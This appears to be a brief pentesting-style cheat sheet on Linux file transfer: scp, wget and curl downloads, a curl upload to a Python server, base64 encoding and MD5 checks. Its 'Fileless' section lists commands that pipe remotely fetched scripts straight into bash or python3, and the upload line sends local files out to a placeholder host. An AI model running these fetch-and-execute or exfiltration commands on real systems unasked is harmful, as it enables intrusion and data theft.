Main

Via SSH:

scp [-r] <USER>@<IP>:/<REMOTE_FILE> /<TO_LOCAL>
scp [-r] /<LOCAL_FILE> <USER>@<IP>:/<TO_REMOTE>

Download

wget -O <NEW_NAME> <URL_TO_FILE> 
curl -o <NEW_NAME> <URL_TO_FILE>

Upload

Python Server

Set Server Python3 with Upload Option (and self-signed certificate)

curl -X POST https://<IP>/<DIR> -F 'files=@<PATH_FILE1>' -F 'files=@<PATH_FILE2>' --insecure

Fileless

curl <URL>/<FILE_BASH.sh> | bash
wget -qO- <URL>/<FILE_PYHTON.py> | python3

Base64

It does not work with strings that are too long.

From File to Base64:

base64 <FILE> -w 0

From Base64 to File:

echo -n <BASE64> | base64 -d > <NAME>

Verify Hash MD5:

md5sum <FILE>

Last updated